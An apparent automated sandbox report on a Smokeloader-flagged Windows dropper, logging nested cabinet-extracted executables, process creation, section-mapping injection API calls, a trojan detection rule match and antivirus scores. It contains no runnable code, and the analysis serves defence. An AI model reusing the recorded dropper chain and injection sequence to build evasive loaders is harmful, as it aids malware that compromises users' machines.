Source: C:\Users\user\AppData\Local\Temp\3F93.exe	Code function: 40_2_00F33BA2	40_2_00F33BA2
Source: C:\Users\user\AppData\Local\Temp\3F93.exe	Code function: 40_2_00F35C9E	40_2_00F35C9E
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	Code function: 41_2_00C43BA2	41_2_00C43BA2
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	Code function: 41_2_00C45C9E	41_2_00C45C9E

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wscinterop.dll
Source: C:\Windows\explorer.exe	Section loaded: wscapi.dll
Source: C:\Windows\explorer.exe	Section loaded: werconcpl.dll
Source: C:\Windows\explorer.exe	Section loaded: framedynos.dll
Source: C:\Windows\explorer.exe	Section loaded: wer.dll
Source: C:\Windows\explorer.exe	Section loaded: hcproviders.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.globalization.dll
Source: C:\Windows\explorer.exe	Section loaded: capabilityaccessmanagerclient.dll
Source: C:\Windows\explorer.exe	Section loaded: bluetoothapis.dll
Source: C:\Windows\explorer.exe	Section loaded: bluetoothapis.dll
Source: C:\Windows\explorer.exe	Section loaded: bluetoothapis.dll
Source: C:\Windows\explorer.exe	Section loaded: bluetoothapis.dll
Source: C:\Windows\explorer.exe	Section loaded: drprov.dll
Source: C:\Windows\explorer.exe	Section loaded: ntlanman.dll
Source: C:\Windows\explorer.exe	Section loaded: davclnt.dll
Source: C:\Windows\explorer.exe	Section loaded: davhlpr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll
Source: C:\Users\user\AppData\Local\Temp\3F93.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	Section loaded: sfc.dll

Source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000012.00000002.276123012.0000000004890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000012.00000002.276133021.00000000048B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Code function: 0_2_00801F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	0_2_00801F90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Code function: 1_2_009A1F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	1_2_009A1F90
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Code function: 2_2_00AF1F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	2_2_00AF1F90
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Code function: 3_2_01131F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	3_2_01131F90
Source: C:\Users\user\AppData\Local\Temp\3F93.exe	Code function: 40_2_00F31F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	40_2_00F31F90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	Code function: 41_2_00C41F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	41_2_00C41F90

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: String function: 003B1AC8 appears 58 times
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: String function: 003B1A9B appears 70 times
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: String function: 003F1E30 appears 61 times
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: String function: 003B179E appears 33 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: String function: 00401810 appears 33 times
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: String function: 009C1AC8 appears 58 times
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: String function: 00A01E30 appears 61 times
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: String function: 00A36C10 appears 33 times
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: String function: 009C179E appears 33 times
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: String function: 009C1A9B appears 70 times

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_0040151E NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	18_2_0040151E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_004022D8 NtQuerySystemInformation,NtQueryInformationProcess,	18_2_004022D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_004014F4 NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	18_2_004014F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_004032F9 NtTerminateProcess,OpenProcessToken,NtOpenKey,NtEnumerateKey,RtlCreateUserThread,strstr,wcsstr,tolower,towlower,	18_2_004032F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_004022FD NtQuerySystemInformation,	18_2_004022FD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_004014B5 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	18_2_004014B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_004026B6 NtEnumerateKey,NtEnumerateKey,NtClose,	18_2_004026B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_00401561 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	18_2_00401561
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_00402164 NtQuerySystemInformation,	18_2_00402164
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_00401529 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	18_2_00401529
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_00401534 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	18_2_00401534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_0040153D NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	18_2_0040153D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_0040233F NtQuerySystemInformation,NtQueryInformationProcess,	18_2_0040233F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_004023E1 NtQuerySystemInformation,NtQueryInformationProcess,	18_2_004023E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_00402188 LocalAlloc,NtQuerySystemInformation,	18_2_00402188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_00402397 NtQuerySystemInformation,NtQueryInformationProcess,	18_2_00402397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_004023B5 NtQuerySystemInformation,NtQueryInformationProcess,	18_2_004023B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 18_2_004023BD NtQuerySystemInformation,NtQueryInformationProcess,	18_2_004023BD

Source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 942114 bytes, 2 files, at 0x2c +A "v0139395.exe" +A "e6072708.exe", ID 1687, number 1, 31 datablocks, 0x1503 compression
Source: v0139395.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 838168 bytes, 2 files, at 0x2c +A "v5523814.exe" +A "d7678512.exe", ID 1690, number 1, 43 datablocks, 0x1503 compression
Source: v5523814.exe.1.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 527494 bytes, 2 files, at 0x2c +A "v2232713.exe" +A "c5286836.exe", ID 1683, number 1, 29 datablocks, 0x1503 compression
Source: v2232713.exe.2.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 249772 bytes, 2 files, at 0x2c +A "a3839540.exe" +A "b1121980.exe", ID 1657, number 1, 23 datablocks, 0x1503 compression
Source: 3F93.exe.22.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 803952 bytes, 2 files, at 0x2c +A "x1895805.exe" +A "k4830352.exe", ID 1696, number 1, 27 datablocks, 0x1503 compression
Source: 3D31.exe.22.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 225561 bytes, 7 files, at 0x2c +A "msizapa.exe" +A "msizapw.exe", ID 7836, number 1, 24 datablocks, 0x1503 compression
Source: x1895805.exe.40.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 699528 bytes, 2 files, at 0x2c +A "x1678116.exe" +A "j8864040.exe", ID 1694, number 1, 30 datablocks, 0x1503 compression
Source: x1678116.exe.41.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 433808 bytes, 2 files, at 0x2c +A "x9711542.exe" +A "i6838297.exe", ID 1705, number 1, 18 datablocks, 0x1503 compression

Source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe, 00000000.00000003.202823577.0000000002AED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCOMREPL.EXEj% vs e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe
Source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe, 00000000.00000003.202823577.0000000002AED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe
Source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Source: 9AEE.exe.22.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\a3839540.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@53/43@22/7

Source: C:\Windows\explorer.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Code function: 0_2_00803FEF CreateProcessA,WaitForSingleObject,GetExitCodeProcess,CloseHandle,CloseHandle,GetLastError,FormatMessageA,

0_2_00803FEF

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe

Code function: 4_2_00007FFCE0781A75 ControlService,ChangeServiceConfigA,

4_2_00007FFCE0781A75

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Code function: 0_2_00804FE0 FindResourceA,LoadResource,LockResource,GetDlgItem,ShowWindow,GetDlgItem,ShowWindow,FreeResource,SendMessageA,

0_2_00804FE0

Source: 92C4.exe.22.dr

Binary or memory string: v.VBp

Source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	ReversingLabs: Detection: 63%
Source: e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Virustotal: Detection: 69%

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe
Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP001.TMP\
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6648 -s 632
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7136 -s 140
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP002.TMP\
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k unistacksvcgroup
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Users\user\AppData\Roaming\fahrbrd C:\Users\user\AppData\Roaming\fahrbrd
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3F93.exe C:\Users\user\AppData\Local\Temp\3F93.exe
Source: C:\Users\user\AppData\Local\Temp\3F93.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe
Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3F93.exe C:\Users\user\AppData\Local\Temp\3F93.exe
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\3F93.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe
Source: C:\Users\user\AppData\Local\Temp\3F93.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	Process created: unknown unknown

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Code function: 0_2_00801F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	0_2_00801F90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Code function: 1_2_009A1F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	1_2_009A1F90
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Code function: 2_2_00AF1F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	2_2_00AF1F90
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Code function: 3_2_01131F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	3_2_01131F90
Source: C:\Users\user\AppData\Local\Temp\3F93.exe	Code function: 40_2_00F31F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	40_2_00F31F90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	Code function: 41_2_00C41F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	41_2_00C41F90

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP

Jump to behavior

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Code function: 0_2_0080597D GetCurrentDirectoryA,SetCurrentDirectoryA,GetDiskFreeSpaceA,MulDiv,GetVolumeInformationA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,

0_2_0080597D

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni.dll

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\5B177011D0C13517915615ffffffff
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6656:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7144:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7136
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6648

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Command line argument: Kernel32.dll	0_2_00802BFB
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Command line argument: Kernel32.dll	1_2_009A2BFB
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Command line argument: Kernel32.dll	2_2_00AF2BFB
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Command line argument: Kernel32.dll	3_2_01132BFB
Source: C:\Users\user\AppData\Local\Temp\3F93.exe	Command line argument: Kernel32.dll	40_2_00F32BFB
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	Command line argument: Kernel32.dll	41_2_00C42BFB

Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

